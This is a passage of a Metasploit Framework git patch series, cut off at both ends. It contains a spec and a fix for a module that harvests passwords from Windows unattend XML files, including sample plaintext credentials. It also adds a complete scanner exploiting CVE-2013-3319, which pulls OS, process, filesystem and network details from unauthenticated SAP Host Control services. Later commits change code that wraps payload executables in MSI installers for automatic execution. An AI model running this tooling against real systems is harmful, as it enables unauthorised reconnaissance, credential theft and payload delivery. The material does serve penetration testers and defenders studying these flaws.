versionScope="nonSxS" processorArchitecture="x86"> <ComputerName>computer1</ComputerName> </component> <component name="Microsoft-Windows-TerminalServices-RDP-WinStationExtensions" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <SecurityLayer>2</SecurityLayer> <UserAuthentication>2</UserAuthentication> </component> <component name="Microsoft-Windows-TerminalServices-LocalSessionManager" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <fDenyTSConnections>false</fDenyTSConnections> </component></settings><settings pass="oobeSystem"> <component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="x86"> <OOBE> <HideEULAPage>true</HideEULAPage> <NetworkLocation>Work</NetworkLocation> <ProtectYourPC>1</ProtectYourPC> <SkipMachineOOBE>true</SkipMachineOOBE> <SkipUserOOBE>true</SkipUserOOBE> </OOBE> <Display> <ColorDepth>32</ColorDepth> <DPI>96</DPI> <HorizontalResolution>1024</HorizontalResolution> <RefreshRate>60</RefreshRate> <VerticalResolution>768</VerticalResolution> </Display> <UserAccounts> <LocalAccounts> <LocalAccount> <Password> <Value>Password1</Value> <PlainText>true</PlainText> </Password> <Description>My Local Account</Description> <DisplayName>John Smith</DisplayName> <Group>Administrators;Power Users</Group> <Name>John</Name> </LocalAccount> </LocalAccounts> <DomainAccounts> <DomainAccountList> <DomainAccount> <Name>Administrator</Name> <Group>Administrators;Power Users</Group> </DomainAccount> <Domain>Fabrikam.com</Domain> </DomainAccountList> </DomainAccounts> </UserAccounts> </component></settings></unattend>') + +describe Rex::Parser::Unattend do + U = Rex::Parser::Unattend + + ## + # Parse + ## + it "Parse returns passwords for b64" do + results = U.parse(b64) + results.length.should eq(2) + results[0]['password'].should eq(Rex::Text.to_unicode('Temp123')) + end + + it "Parse returns passwords for domain join" do + results = U.parse(dj) + results.length.should eq(1) + results[0]['password'].should eq('Password1') + end + + pos_xmls = [dj, b64, comb, std, lng] + + neg_xmls = [unsecure] + + it "Parse returns results for all positive examples" do + pos_xmls.each do |xml| + results = U.parse(xml) + results.should_not be_empty + end + end + + it "Parse returns no results for negative examples" do + neg_xmls.each do |xml| + results = U.parse(xml) + results.should be_empty + end + end +end + From d0f2717b43db4642d2546139f943bffbe9c1c601 Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Fri, 26 Apr 2013 00:55:10 +0100 Subject: [PATCH 017/210] Fix single file --- modules/auxiliary/parser/unattend.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/parser/unattend.rb b/modules/auxiliary/parser/unattend.rb index 72e07221f5..47e0b4018d 100644 --- a/modules/auxiliary/parser/unattend.rb +++ b/modules/auxiliary/parser/unattend.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Auxiliary )) register_options([ - OptPath.new('PATH', [true, 'Directory to parse.']), + OptPath.new('PATH', [true, 'Directory or file to parse.']), OptBool.new('RECURSIVE', [true, 'Recursively check for files', false]), ]) end @@ -42,7 +42,12 @@ class Metasploit3 < Msf::Auxiliary ext = "/*.xml" end - filepath = File.join(datastore['PATH'], ext) + if datastore['PATH'].ends_with('.xml') + filepath = datastore['PATH'] + else + filepath = File.join(datastore['PATH'], ext) + end + Dir.glob(filepath) do |item| print_status "Processing #{item}" file = File.read(item) From a2e59f79ad9a3c8250ebeeafb89fb2edb574f116 Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Mon, 29 Apr 2013 22:28:16 +0100 Subject: [PATCH 018/210] Change table.print --- modules/auxiliary/parser/unattend.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/parser/unattend.rb b/modules/auxiliary/parser/unattend.rb index 47e0b4018d..d192a2c6b1 100644 --- a/modules/auxiliary/parser/unattend.rb +++ b/modules/auxiliary/parser/unattend.rb @@ -61,7 +61,7 @@ class Metasploit3 < Msf::Auxiliary results = Rex::Parser::Unattend.parse(xml) table = Rex::Parser::Unattend.create_table(results) - table.print unless table.nil? + print_line table.to_s unless table.nil? print_line end end From acb236006c76282e6adc0b6e192c8227156464ab Mon Sep 17 00:00:00 2001 From: Bruno Morisson <morisson@genhex.org> Date: Mon, 22 Jul 2013 18:36:38 +0100 Subject: [PATCH 019/210] metasploit module for CVE-2013-3319 / SAP Security Note 1816536 Note: only tested on SAP running on Windows, but should equally work on vulnerable linux/*nix versions. --- .../sap/sap_hostctrl_getcomputersystem.rb | 269 ++++++++++++++++++ 1 file changed, 269 insertions(+) create mode 100644 modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb diff --git a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb new file mode 100644 index 0000000000..cf5555d00a --- /dev/null +++ b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb @@ -0,0 +1,269 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rexml/document' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'SAP Host Agent Information Disclosure', + 'Description' => %q{ + This module attempts to retrieve Computer and OS info from Host Agent +through the SAP HostControl service + }, + 'References' => + [ + # General + ['CVE', '2013-3319'], + ['URL', 'https://service.sap.com/sap/support/notes/1816536'], + ['URL', 'http://labs.integrity.pt/advisories/cve-2013-3319/'] + ], + 'Author' => + [ + 'Bruno Morisson <bm[at]integrity.pt>' + ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(1128) + ], self.class) + + register_autofilter_ports([1128]) + deregister_options('RHOST') + deregister_options('VHOST') + deregister_options('URI') + + end + + def run_host(rhost) + + rport = datastore['RPORT'] + + print_status("Connecting to SAP Host Control service on #{rhost}:#{rport}") + + success = false + fault = false + + data = '<?xml version="1.0" encoding="utf-8"?>' + data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"' + data << 'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">' + data << '<SOAP-ENV:Header><sapsess:Session xlmns:sapsess="http://www.sap.com/webas/630/soap/features/session/">' + data << '<enableSession>true</enableSession></sapsess:Session></SOAP-ENV:Header><SOAP-ENV:Body>' + data << '<ns1:GetComputerSystem xmlns:ns1="urn:SAPHostControl"><aArguments><item>' + data << '<mKey>provider</mKey><mValue>saposcol</mValue></item></aArguments></ns1:GetComputerSystem>' + data << "</SOAP-ENV:Body></SOAP-ENV:Envelope>\r\n\r\n" + + begin + + res = send_request_raw({ + 'uri' => "/", + 'method' => 'POST', + 'data' => data, + 'headers' => + { + 'Content-Length' => data.length, + 'Content-Type' => 'text/xml; charset=UTF-8', + } + }, 15) + + if res and res.code == 200 + + print_good("Got response from server, parsing...") + + env = [] + saptbl =[] + totalitems=0 + + saptbl[0] = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote Computer Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "Names", + "Hostnames", + "IPAddresses" + ]) + + saptbl[1] = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote OS Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "Name", + "Type", + "Version", + "TotalMemSize", + "Load Avg 1m", + "Load Avg 5m", + "Load Avg 15m", + "CPUs", + "CPU User", + "CPU Sys", + "CPU Idle" + ]) + + saptbl[2] = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote Process Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + ["Name", + "PID", + "Username", + "Priority", + "Size", + "Pages", + "CPU", + "CPU Time", + "Command" + ]) + + saptbl[3] = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote Filesystem Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + ["Name", + "Size", + "Available", + "Remote" + ]) + + saptbl[4] = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Network Port Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + ["ID", + "PacketsIn", + "PacketsOut", + "ErrorsIn", + "ErrorsOut", + "Collisions" + ]) + + mxml = REXML::Document.new(res.body) + + itsamcs = mxml.elements.to_a("//mProperties/") # OS info + + itsam = mxml.elements.to_a("//item/mProperties/") # all other info + + + itsamcs.each { |name| + tbl =[] + body = "#{name}" + env = body.scan(/<item><mName>(.+?)<\/mName><mType>(.+?)<\/mType><mValue>(.+?)<\/mValue><\/item>/ix) + + if env + + totalitems +=1 + + if ("#{env}" =~ /ITSAMComputerSystem/) + + env.each do |m| + tbl << "#{m[2]}" unless ("#{m}" =~ /ITSAM/) + end + + saptbl[0] << [tbl[0], tbl[1], tbl[2]] + success = true # we have at least one response + end + + end + } + + + itsam.each { |name| + tbl =[] + # some items have no <mValue>, so we put a dummy with nil + body = "#{name}".gsub(/\/mType><\/item/, "\/mType><mValue>(nil)<\/mValue><\/item") + env = body.scan(/<item><mName>(.+?)<\/mName><mType>(.+?)<\/mType><mValue>(.+?)<\/mValue><\/item>/ix) + + if env + + totalitems +=1 + + env.each do |m| + tbl << "#{m[2]}" unless ("#{m}" =~ /ITSAM/) + end + + case "#{env}" + when /ITSAMOperatingSystem/ + saptbl[1] << [tbl[0], tbl[1], tbl[2], tbl[8], tbl[11], tbl[12], tbl[13], tbl[17], tbl[18]+'%', tbl[19]+'%', tbl[20]+'%'] + success = true # we have at least one response + + when /ITSAMOSProcess/ + saptbl[2] << [tbl[0], tbl[1], tbl[2], tbl[3], tbl[4], tbl[5], tbl[6]+'%', tbl[7], tbl[8]] + success = true # we have at least one response + + when /ITSAMFileSystem/ + saptbl[3] << [tbl[0], tbl[2], tbl[3], tbl[4]] + success = true # we have at least one response + + when /ITSAMNetworkPort/ + saptbl[4] << [tbl[0], tbl[1], tbl[2], tbl[3], tbl[4], tbl[5]] + success = true # we have at least one response + end + + end + } + + elsif res and res.code == 500 + if (res.body =~ /<faultstring>(.*)<\/faultstring>/i) + faultcode = $1.strip + fault = true + end + end + + rescue ::Rex::ConnectionError + print_error("Unable to connect to #{rhost}:#{rport}") + return + end + + if success + vprint_good("#{totalitems} items listed") + + saptbl.each do |t| + print(t.to_s) + end + + p = store_loot( + "sap.getcomputersystem", + "text/xml", + rhost, + res.body, + "sap_getcomputersystem.xml", + "SAP GetComputerSystem XML" + ) + print_status("Response stored in: #{p}") + + elsif fault + print_error("#{rhost}:#{rport} - Error code: #{faultcode}") + else + print_error("#{rhost}:#{rport} - Failed to parse list") + end + end +end From 1a2d5e472f713c9cc1c818d96377e73e150f0330 Mon Sep 17 00:00:00 2001 From: Bruno Morisson <morisson@genhex.org> Date: Mon, 22 Jul 2013 19:03:52 +0100 Subject: [PATCH 020/210] msftidy - fixed indents --- .../sap/sap_hostctrl_getcomputersystem.rb | 50 ++++++++++--------- 1 file changed, 26 insertions(+), 24 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb index cf5555d00a..9a4a1c03b0 100644 --- a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb +++ b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb @@ -71,11 +71,10 @@ through the SAP HostControl service 'uri' => "/", 'method' => 'POST', 'data' => data, - 'headers' => - { - 'Content-Length' => data.length, - 'Content-Type' => 'text/xml; charset=UTF-8', - } + 'headers' => { + 'Content-Length' => data.length, + 'Content-Type' => 'text/xml; charset=UTF-8', + } }, 15) if res and res.code == 200 @@ -127,15 +126,16 @@ through the SAP HostControl service 'Postfix' => "\n", 'Indent' => 1, 'Columns' => - ["Name", - "PID", - "Username", - "Priority", - "Size", - "Pages", - "CPU", - "CPU Time", - "Command" + [ + "Name", + "PID", + "Username", + "Priority", + "Size", + "Pages", + "CPU", + "CPU Time", + "Command" ]) saptbl[3] = Msf::Ui::Console::Table.new( @@ -145,10 +145,11 @@ through the SAP HostControl service 'Postfix' => "\n", 'Indent' => 1, 'Columns' => - ["Name", - "Size", - "Available", - "Remote" + [ + "Name", + "Size", + "Available", + "Remote" ]) saptbl[4] = Msf::Ui::Console::Table.new( @@ -158,12 +159,13 @@ through the SAP HostControl service 'Postfix' => "\n", 'Indent' => 1, 'Columns' => - ["ID", - "PacketsIn", - "PacketsOut", - "ErrorsIn", - "ErrorsOut", - "Collisions" + [ + "ID", + "PacketsIn", + "PacketsOut", + "ErrorsIn", + "ErrorsOut", + "Collisions" ]) mxml = REXML::Document.new(res.body) From 4f0cf426b717003f80c21c97b753af4d90fe952c Mon Sep 17 00:00:00 2001 From: Bruno Morisson <morisson@genhex.org> Date: Wed, 24 Jul 2013 16:43:20 +0100 Subject: [PATCH 021/210] hopefully actually fixed indents. Included @jvazquez-r7 suggested changes --- .../sap/sap_hostctrl_getcomputersystem.rb | 22 +++++++++---------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb index 9a4a1c03b0..f47752b106 100644 --- a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb +++ b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb @@ -19,7 +19,7 @@ class Metasploit4 < Msf::Auxiliary 'Name' => 'SAP Host Agent Information Disclosure', 'Description' => %q{ This module attempts to retrieve Computer and OS info from Host Agent -through the SAP HostControl service + through the SAP HostControl service }, 'References' => [ @@ -43,7 +43,6 @@ through the SAP HostControl service register_autofilter_ports([1128]) deregister_options('RHOST') deregister_options('VHOST') - deregister_options('URI') end @@ -67,15 +66,16 @@ through the SAP HostControl service begin - res = send_request_raw({ - 'uri' => "/", - 'method' => 'POST', - 'data' => data, - 'headers' => { - 'Content-Length' => data.length, - 'Content-Type' => 'text/xml; charset=UTF-8', - } - }, 15) + res = send_request_raw( + { + 'uri' => "/", + 'method' => 'POST', + 'data' => data, + 'headers' => { + 'Content-Length' => data.length, + 'Content-Type' => 'text/xml; charset=UTF-8', + } + }, 15) if res and res.code == 200 From 9b773dd6f9a0e04fc6bd64eafec09d97ce088b90 Mon Sep 17 00:00:00 2001 From: Bruno Morisson <morisson@genhex.org> Date: Fri, 16 Aug 2013 22:23:22 +0100 Subject: [PATCH 022/210] Included @jvazquez-r7 feedback --- .../sap/sap_hostctrl_getcomputersystem.rb | 397 ++++++++++-------- 1 file changed, 227 insertions(+), 170 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb index f47752b106..91ac2ccf39 100644 --- a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb +++ b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb @@ -41,16 +41,164 @@ class Metasploit4 < Msf::Auxiliary ], self.class) register_autofilter_ports([1128]) - deregister_options('RHOST') - deregister_options('VHOST') end + + def parse_computer_info(computer_info) + + item_list = [] + success = false + + computer_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote Computer Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "Names", + "Hostnames", + "IPAddresses" + ]) + + computer_info.each { |item| + temp_table =[] + body = "#{item}" + item_list = body.scan(/<item><mName>(.+?)<\/mName><mType>(.+?)<\/mType><mValue>(.+?)<\/mValue><\/item>/ix) + + if item_list + + if "#{item_list}" =~ /ITSAMComputerSystem/ + + item_list.each do |m| + temp_table << "#{m[2]}" unless ("#{m}" =~ /ITSAM/) + end + + computer_table << [temp_table[0], temp_table[1], temp_table[2]] + success = true # we have at least one response + end + + end + } + return computer_table, success + + end + + def parse_os_info(os_table, os_info) + + if os_table == nil + + os_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote OS Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "Name", + "Type", + "Version", + "TotalMemSize", + "Load Avg 1m", + "Load Avg 5m", + "Load Avg 15m", + "CPUs", + "CPU User", + "CPU Sys", + "CPU Idle" + ]) + end + + os_table << [os_info[0], os_info[1], os_info[2], os_info[8], os_info[11], os_info[12], os_info[13], + os_info[17], os_info[18]+'%', os_info[19]+'%', os_info[20]+'%'] + return os_table + + end + + def parse_process_info(process_table, process_info) + + if process_table == nil + + process_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote Process Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "Name", + "PID", + "Username", + "Priority", + "Size", + "Pages", + "CPU", + "CPU Time", + "Command" + ]) + end + process_table << [process_info[0], process_info[1], process_info[2], process_info[3], process_info[4], + process_info[5], process_info[6]+'%', process_info[7], process_info[8]] + return process_table + end + + def parse_fs_info(fs_table, fs_info) + + if fs_table == nil + + fs_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Remote Filesystem Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "Name", + "Size", + "Available", + "Remote" + ]) + end + + fs_table << [fs_info[0], fs_info[2], fs_info[3], fs_info[4]] + return fs_table + end + + def parse_net_info(net_table, net_info) + + if net_table == nil + + net_table = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Network Port Listing", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "ID", + "PacketsIn", + "PacketsOut", + "ErrorsIn", + "ErrorsOut", + "Collisions" + ]) + end + + net_table << [net_info[0], net_info[1], net_info[2], net_info[3], net_info[4], net_info[5]] + return net_table + end + def run_host(rhost) rport = datastore['RPORT'] - print_status("Connecting to SAP Host Control service on #{rhost}:#{rport}") + vprint_status("#{rhost}:#{rport} - Connecting to SAP Host Control service") success = false fault = false @@ -72,187 +220,86 @@ class Metasploit4 < Msf::Auxiliary 'method' => 'POST', 'data' => data, 'headers' => { - 'Content-Length' => data.length, 'Content-Type' => 'text/xml; charset=UTF-8', } - }, 15) - - if res and res.code == 200 - - print_good("Got response from server, parsing...") - - env = [] - saptbl =[] - totalitems=0 - - saptbl[0] = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "Remote Computer Listing", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' => - [ - "Names", - "Hostnames", - "IPAddresses" - ]) - - saptbl[1] = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "Remote OS Listing", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' => - [ - "Name", - "Type", - "Version", - "TotalMemSize", - "Load Avg 1m", - "Load Avg 5m", - "Load Avg 15m", - "CPUs", - "CPU User", - "CPU Sys", - "CPU Idle" - ]) - - saptbl[2] = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "Remote Process Listing", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' => - [ - "Name", - "PID", - "Username", - "Priority", - "Size", - "Pages", - "CPU", - "CPU Time", - "Command" - ]) - - saptbl[3] = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "Remote Filesystem Listing", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' => - [ - "Name", - "Size", - "Available", - "Remote" - ]) - - saptbl[4] = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "Network Port Listing", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' => - [ - "ID", - "PacketsIn", - "PacketsOut", - "ErrorsIn", - "ErrorsOut", - "Collisions" - ]) - - mxml = REXML::Document.new(res.body) - - itsamcs = mxml.elements.to_a("//mProperties/") # OS info - - itsam = mxml.elements.to_a("//item/mProperties/") # all other info + }) - itsamcs.each { |name| - tbl =[] - body = "#{name}" - env = body.scan(/<item><mName>(.+?)<\/mName><mType>(.+?)<\/mType><mValue>(.+?)<\/mValue><\/item>/ix) - - if env - - totalitems +=1 - - if ("#{env}" =~ /ITSAMComputerSystem/) - - env.each do |m| - tbl << "#{m[2]}" unless ("#{m}" =~ /ITSAM/) - end - - saptbl[0] << [tbl[0], tbl[1], tbl[2]] - success = true # we have at least one response - end - - end - } - - - itsam.each { |name| - tbl =[] - # some items have no <mValue>, so we put a dummy with nil - body = "#{name}".gsub(/\/mType><\/item/, "\/mType><mValue>(nil)<\/mValue><\/item") - env = body.scan(/<item><mName>(.+?)<\/mName><mType>(.+?)<\/mType><mValue>(.+?)<\/mValue><\/item>/ix) - - if env - - totalitems +=1 - - env.each do |m| - tbl << "#{m[2]}" unless ("#{m}" =~ /ITSAM/) - end - - case "#{env}" - when /ITSAMOperatingSystem/ - saptbl[1] << [tbl[0], tbl[1], tbl[2], tbl[8], tbl[11], tbl[12], tbl[13], tbl[17], tbl[18]+'%', tbl[19]+'%', tbl[20]+'%'] - success = true # we have at least one response - - when /ITSAMOSProcess/ - saptbl[2] << [tbl[0], tbl[1], tbl[2], tbl[3], tbl[4], tbl[5], tbl[6]+'%', tbl[7], tbl[8]] - success = true # we have at least one response - - when /ITSAMFileSystem/ - saptbl[3] << [tbl[0], tbl[2], tbl[3], tbl[4]] - success = true # we have at least one response - - when /ITSAMNetworkPort/ - saptbl[4] << [tbl[0], tbl[1], tbl[2], tbl[3], tbl[4], tbl[5]] - success = true # we have at least one response - end - - end - } - - elsif res and res.code == 500 - if (res.body =~ /<faultstring>(.*)<\/faultstring>/i) + if res and res.code == 500 + if res.body =~ /<faultstring>(.*)<\/faultstring>/i faultcode = $1.strip fault = true end + + elsif res.code != 200 + vprint_error("#{rhost}:#{rport} - Error in response from ") end + vprint_good("#{rhost}:#{rport} - Connected. Retrieving info") + + sap_tables =[] + + response_xml = REXML::Document.new(res.body) + + computer_info = response_xml.elements.to_a("//mProperties/") # Computer info + + detailed_info = response_xml.elements.to_a("//item/mProperties/") # all other info + + + sap_tables[0], success = parse_computer_info(computer_info) + + detailed_info.each { |item| + temp_table =[] + item_list = [] + # some items have no <mValue>, so we put a dummy with nil + body = "#{item}".gsub(/\/mType><\/item/, "\/mType><mValue>(nil)<\/mValue><\/item") + item_list = body.scan(/<item><mName>(.+?)<\/mName><mType>(.+?)<\/mType><mValue>(.+?) +<\/mValue><\/item>/ix) + + if item_list + + item_list.each do |m| + temp_table << "#{m[2]}" unless ("#{m}" =~ /ITSAM/) + end + + case "#{item_list}" + when /ITSAMOperatingSystem/ + sap_tables[1] = parse_os_info(sap_tables[1], temp_table) + success = true # we have at least one response + + when /ITSAMOSProcess/ + sap_tables[2] = parse_process_info(sap_tables[2], temp_table) + success = true # we have at least one response + + when /ITSAMFileSystem/ + sap_tables[3] = parse_fs_info(sap_tables[3], temp_table) + success = true # we have at least one response + + when /ITSAMNetworkPort/ + sap_tables[4] = parse_net_info(sap_tables[4], temp_table) + success = true # we have at least one response + end + + end + } + rescue ::Rex::ConnectionError - print_error("Unable to connect to #{rhost}:#{rport}") + vprint_error("#{rhost}:#{rport} - Unable to connect to service") return end if success - vprint_good("#{totalitems} items listed") + print_good("#{rhost}:#{rport} - Information retrieved successfully") - saptbl.each do |t| - print(t.to_s) + sap_tables_clean = '' + + sap_tables.each do |t| + sap_tables_clean << t.to_s end - p = store_loot( + vprint_good("#{rhost}:#{rport} - Information retrieved:\n"+sap_tables_clean) + + xml_raw = store_loot( "sap.getcomputersystem", "text/xml", rhost, @@ -260,12 +307,22 @@ class Metasploit4 < Msf::Auxiliary "sap_getcomputersystem.xml", "SAP GetComputerSystem XML" ) - print_status("Response stored in: #{p}") + + xml_parsed = store_loot( + "sap.getcomputersystem", + "text/plain", + rhost, + sap_tables_clean, + "sap_getcomputersystem.txt", + "SAP GetComputerSystem XML" + ) + + vprint_status("#{rhost}:#{rport} - Response stored in #{xml_raw} (XML) and #{xml_parsed} (TXT)") elsif fault - print_error("#{rhost}:#{rport} - Error code: #{faultcode}") + vprint_error("#{rhost}:#{rport} - Error code: #{faultcode}") else - print_error("#{rhost}:#{rport} - Failed to parse list") + vprint_error("#{rhost}:#{rport} - Failed to parse list") end end end From eeed74d2b9b3918be7f1c3fb20dc2449d5d09a8a Mon Sep 17 00:00:00 2001 From: Bruno Morisson <morisson@genhex.org> Date: Fri, 16 Aug 2013 22:32:40 +0100 Subject: [PATCH 023/210] fixed typo on a message --- modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb index 91ac2ccf39..46f4eb7dec 100644 --- a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb +++ b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb @@ -232,7 +232,7 @@ class Metasploit4 < Msf::Auxiliary end elsif res.code != 200 - vprint_error("#{rhost}:#{rport} - Error in response from ") + vprint_error("#{rhost}:#{rport} - Error in response") end vprint_good("#{rhost}:#{rport} - Connected. Retrieving info") From 239fd4840e69100f23513f6f7c2fb12f7a36a107 Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Sun, 25 Aug 2013 19:21:05 +0100 Subject: [PATCH 024/210] Update spec --- spec/support/shared/contexts/msf/util/exe.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/spec/support/shared/contexts/msf/util/exe.rb b/spec/support/shared/contexts/msf/util/exe.rb index 2e649f153d..9bcb31b1c6 100644 --- a/spec/support/shared/contexts/msf/util/exe.rb +++ b/spec/support/shared/contexts/msf/util/exe.rb @@ -18,6 +18,9 @@ shared_context 'Msf::Util::Exe' do { :format => "exe-service", :arch => "x86", :file_fp => /PE32 / }, { :format => "exe-service", :arch => "x64", :file_fp => /PE32\+ / }, { :format => "exe-service", :arch => "x86_64", :file_fp => /PE32\+ / }, + { :format => "msi", :arch => "x86", :file_fp => /Composite Document/ }, + { :format => "msi", :arch => "x64", :file_fp => /Composite Document/ }, + { :format => "msi", :arch => "x86_64", :file_fp => /Composite Document/ }, ], "linux" => [ { :format => "elf", :arch => "x86", :file_fp => /ELF 32.*SYSV/ }, From 96c093dce092e1ec44ff0dcbe2957767d0978f4d Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Sun, 25 Aug 2013 19:56:29 +0100 Subject: [PATCH 025/210] Fix Exploit::Exe --- ...e_x86_windows.wxs => template_windows.wxs} | 0 lib/msf/core/exploit/exe.rb | 7 +---- lib/msf/util/exe.rb | 27 +++++++++---------- 3 files changed, 14 insertions(+), 20 deletions(-) rename data/templates/src/msi/{template_x86_windows.wxs => template_windows.wxs} (100%) diff --git a/data/templates/src/msi/template_x86_windows.wxs b/data/templates/src/msi/template_windows.wxs similarity index 100% rename from data/templates/src/msi/template_x86_windows.wxs rename to data/templates/src/msi/template_windows.wxs diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index 2c9b19d451..f9014eed63 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -113,12 +113,7 @@ module Exploit::EXE :msi_template_path => datastore['MSI::Path'], }) - - if opts[:arch] and (opts[:arch] == ARCH_X64 or opts[:arch] == ARCH_X86_64) - msi = Msf::Util::EXE.to_win64pe_msi(framework, exe, opts) - else - msi = Msf::Util::EXE.to_win32pe_msi(framework, exe, opts) - end + msi = Msf::Util::EXE.to_exe_msi(framework, exe, opts) return msi end diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index b16d6a3cac..598acb2ae0 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -612,15 +612,12 @@ require 'digest/sha1' return pe end - def self.to_win32pe_msi(framework, code, opts={}) - opts[:msi_template] ||= "template_x86_windows.msi" - exe = to_win32pe(framework, code, opts) - return replace_msi_buffer(exe, opts) - end - - def self.to_win64pe_msi(framework, code, opts={}) - opts[:msi_template] ||= "template_x64_windows.msi" - exe = to_win64pe(framework, code, opts) + # + # Wraps an executable inside a Windows + # .msi file for auto execution when run + # + def self.to_exe_msi(framework, exe, opts={}) + opts[:msi_template] ||= "template_windows.msi" return replace_msi_buffer(exe, opts) end @@ -2090,11 +2087,13 @@ End Sub end when 'msi' - output = case arch - when ARCH_X86,nil then Msf::Util::EXE.to_win32pe_msi(framework, code, exeopts) - when ARCH_X86_64 then Msf::Util::EXE.to_win64pe_msi(framework, code, exeopts) - when ARCH_X64 then Msf::Util::EXE.to_win64pe_msi(framework, code, exeopts) - end + case arch + when 